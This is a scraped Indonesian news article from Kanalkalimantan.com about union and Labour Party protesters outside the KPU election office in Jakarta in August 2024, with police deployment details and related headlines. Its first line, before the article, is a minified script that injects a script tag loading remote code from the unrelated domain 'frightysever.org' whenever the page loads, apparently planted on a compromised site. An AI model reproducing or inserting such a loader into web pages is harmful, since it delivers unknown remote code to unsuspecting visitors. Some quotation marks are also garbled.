(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Partai Buruh dan sejumlah serikat pekerja melakukan aksi unjuk rasa atau demo di depan kantor Komisi Pemilihan Umum (KPU) di Jalan Imam Bonjol, Jakarta, Minggu (25/8/2024).
Berdasarkan pantauan Beritasatu.com –jejaring Kanalkalimantan.com- pukul 10.30 WIB, ratusan buruh mengenakan atribut berwarna merah dan oranye. Mereka mendesak KPU segera mengeluarkan Peraturan Komisi Pemilihan Umum (PKPU) terkait Pilkada 2024 atas keputusn MK Nomor 60/PUU.XXII/2024. Keluarnya PKPU dinilai menjadi bukti tertulis atas tindak lanjut pembatalan revisi UU Pilkada yang dilakukan oleh DPR.
Aksi massa berlangsung tertib dengan penjagaan ketat aparat gabungan. Terlihat area sekitar KPU telah diberi barrier beton dan kawat berduri. Di balik barier, terlihat aparat. Akses di Jalan Imam Bonjol pun tertutup bagi pengendara dari kedua arah.
Baca juga: Survei LSPP Pilgub Kalsel 2024: Elektabilitas Pasangan Muhidin-Hasnur Tertinggi
Kapolres Metro Jakarta Pusat Kombes Pol Susatyo Purnomo Condro dalam keterangannya mengatakan sebanyak 1.676 personel gabungan dikerahkan untuk mengamankan beberapa objek vital di wilayah Jakarta Pusat hari ini. Personel gabungan yang dikerahkan dari Polda Metro Jaya, Polres Metro Jakarta Pusat, TNI, Pemprov DKI dan instansi terkait. “Dalam rangka pengamanan beberapa obyek vital kami melibatkan sejumlah 1.676 personel gabungan,” kata Susatyo, Minggu.
Terkait penutupan arus lalu lintas Susatyo mengungkapkan hal itu bersifat situasional. Artinya, rekayasa arus lalu lintas akan diberlakukan melihat perkembangan dan dinamika di lapangan. “Bila di sekitar obyek vital massa cukup banyak dan eskalasi meningkat, akan dilakukan rekayasa lalu lintas,†ujarnya.
Susatyo menegaskan kepada seluruh personel yang terlibat pengamanan untuk selalu bertindak persuasif, tidak terprovokasi, mengutamakan negosiasi, dan pelayanan humanis. “Personel pengamanan tidak membawa senjata api dan tetap menghargai aksi yang menyampaikan pendapatnya,†tutup Susatyo. (Kanalkalimantan/Beritasatu.com/kk)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.